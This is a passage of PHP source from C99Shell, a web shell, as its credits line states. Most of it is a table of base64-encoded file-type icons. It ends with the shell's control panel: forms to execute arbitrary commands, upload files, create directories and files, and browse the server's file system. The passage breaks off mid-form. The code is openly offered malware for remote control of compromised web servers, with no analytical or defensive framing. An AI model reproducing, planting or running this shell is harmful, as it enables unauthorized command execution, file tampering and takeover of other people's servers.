        "sql_button_drop" => "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsAAAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/AQEAOw==",
        "sql_button_empty" => "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoAAAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
        "sql_button_insert" => "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwAAAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
        "up" => "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvVIXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
        "write" => "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/zeEQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
        "ext_asp" => "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD//////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgID6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
        "ext_mp3" => "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANUaGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fcIGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
        "ext_avi" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANMWFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4PYXCyg+V2i44XeRmSfYqsGhAAgA7",
        "ext_cgi" => "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/SEv/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQXv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UMBagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKDAkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAiRYtMAgEAOw==",
        "ext_cmd" => "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANIeLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCNdmrYAMn1onq/YKpjvEgAADs=",
        "ext_cpp" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANCWLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4RaEq7YrLDE7a4SADs=",
        "ext_ini" => "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANLaArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VMSnEjgPVarHEHgrB43JvszsQEADs=",
        "ext_diz" => "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZXpVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAAdAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocmC1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPFCyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAAOw==",
        "ext_doc" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANRWErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmqMIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
        "ext_exe" => "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqtxhIAOw==",
        "ext_h" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANBWLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKoWq/NknbbSgAAOw==",
        "ext_hpp" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANFWLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVRUqUagnbLdZa+YFcCADs=",
        "ext_htaccess" => "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJAAA7",
        "ext_html" => "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNzc////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3PKIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDkBkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIRADs=",
        "ext_jpg" => "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEciCi8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftdFxEAOw==",
        "ext_js" => "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibHk0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhsa00AjYYBbc/o9HjNniUAADs=",
        "ext_lnk" => "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjONSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHziUww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABkAAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDGMymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQADs=",
        "ext_log" => "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wNzLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
        "ext_php" => "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlgt0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
        "ext_pl" => "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMoGLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
        "ext_swf" => "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/OnAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GAGBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgCNysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
        "ext_tar" => "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JICWv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XFHgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGDUyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17puo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkgGwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMdHUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FBu4tLAgEAOw==",
        "ext_txt" => "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJSArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7UpPWG3Ig6Hq/XmRjuZwkAAA7",
        "ext_wri" => "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoaoa4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
        "ext_xml" => "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACAgDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICxOAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQIQA7"
    );
    $imgequals = array(
        "ext_tar" => array(
            "ext_tar",
            "ext_r00",
            "ext_ace",
            "ext_arj",
            "ext_bz",
            "ext_bz2",
            "ext_tbz",
            "ext_tbz2",
            "ext_tgz",
            "ext_uu",
            "ext_xxe",
            "ext_zip",
            "ext_cab",
            "ext_gz",
            "ext_iso",
            "ext_lha",
            "ext_lzh",
            "ext_pbk",
            "ext_rar",
            "ext_uuf"
        ) ,
        "ext_php" => array(
            "ext_php",
            "ext_php3",
            "ext_php4",
            "ext_php5",
            "ext_phtml",
            "ext_shtml",
            "ext_htm"
        ) ,
        "ext_jpg" => array(
            "ext_jpg",
            "ext_gif",
            "ext_png",
            "ext_jpeg",
            "ext_jfif",
            "ext_jpe",
            "ext_bmp",
            "ext_ico",
            "ext_tif",
            "tiff"
        ) ,
        "ext_html" => array(
            "ext_html",
            "ext_htm"
        ) ,
        "ext_avi" => array(
            "ext_avi",
            "ext_mov",
            "ext_mvi",
            "ext_mpg",
            "ext_mpeg",
            "ext_wmv",
            "ext_rm"
        ) ,
        "ext_lnk" => array(
            "ext_lnk",
            "ext_url"
        ) ,
        "ext_ini" => array(
            "ext_ini",
            "ext_css",
            "ext_inf"
        ) ,
        "ext_doc" => array(
            "ext_doc",
            "ext_dot"
        ) ,
        "ext_js" => array(
            "ext_js",
            "ext_vbs"
        ) ,
        "ext_cmd" => array(
            "ext_cmd",
            "ext_bat",
            "ext_pif"
        ) ,
        "ext_wri" => array(
            "ext_wri",
            "ext_rtf"
        ) ,
        "ext_swf" => array(
            "ext_swf",
            "ext_fla"
        ) ,
        "ext_mp3" => array(
            "ext_mp3",
            "ext_au",
            "ext_midi",
            "ext_mid"
        ) ,
        "ext_htaccess" => array(
            "ext_htaccess",
            "ext_htpasswd",
            "ext_ht",
            "ext_hta",
            "ext_so"
        )
    );
    if (!$getall)
    {
        header("Content-type: image/gif");
        header("Cache-control: public");
        header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
        header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
        header("Last-Modified: " . date("r", filemtime(__FILE__)));
        foreach ($imgequals as $k => $v)
        {
            if (in_array($img, $v))
            {
                $img = $k;
                break;
            }
        }
        if (empty($images[$img]))
        {
            $img = "small_unk";
        }
        if (in_array($img, $ext_tar))
        {
            $img = "ext_tar";
        }
        echo base64_decode($images[$img]);
    }
    else
    {
        foreach ($imgequals as $a => $b)
        {
            foreach ($b as $d)
            {
                if ($a != $d)
                {
                    if (!empty($images[$d]))
                    {
                        echo ("Warning! Remove \$images[" . $d . "]<br>");
                    }
                }
            }
        }
        natsort($images);
        $k = array_keys($images);
        echo "<center>";
        foreach ($k as $u)
        {
            echo $u . ":<img src=\"" . $surl . "act=img&img=" . $u . "\" border=\"1\"><br>";
        }
        echo "</center>";
    }
    exit;
}
if ($act == "about")
{
    echo "<center><b>Credits:<br><br>Kudos to the &quot;Original Creators&quot; of C99Shell.<br><br>and <u>KaizenLouie</u> for Latest safe-build and update for PHP 7.<br><br>Thanks to all who reported the bugs.<br>If there are more bugs, please create an issue in https://github.com/KaizenLouie/C99Shell-PHP7 </b>";
} ?>
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als)
{
    echo "<option value=\"" . htmlspecialchars($als[1]) . "\">" . htmlspecialchars($als[0]) . "</option>";
} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit 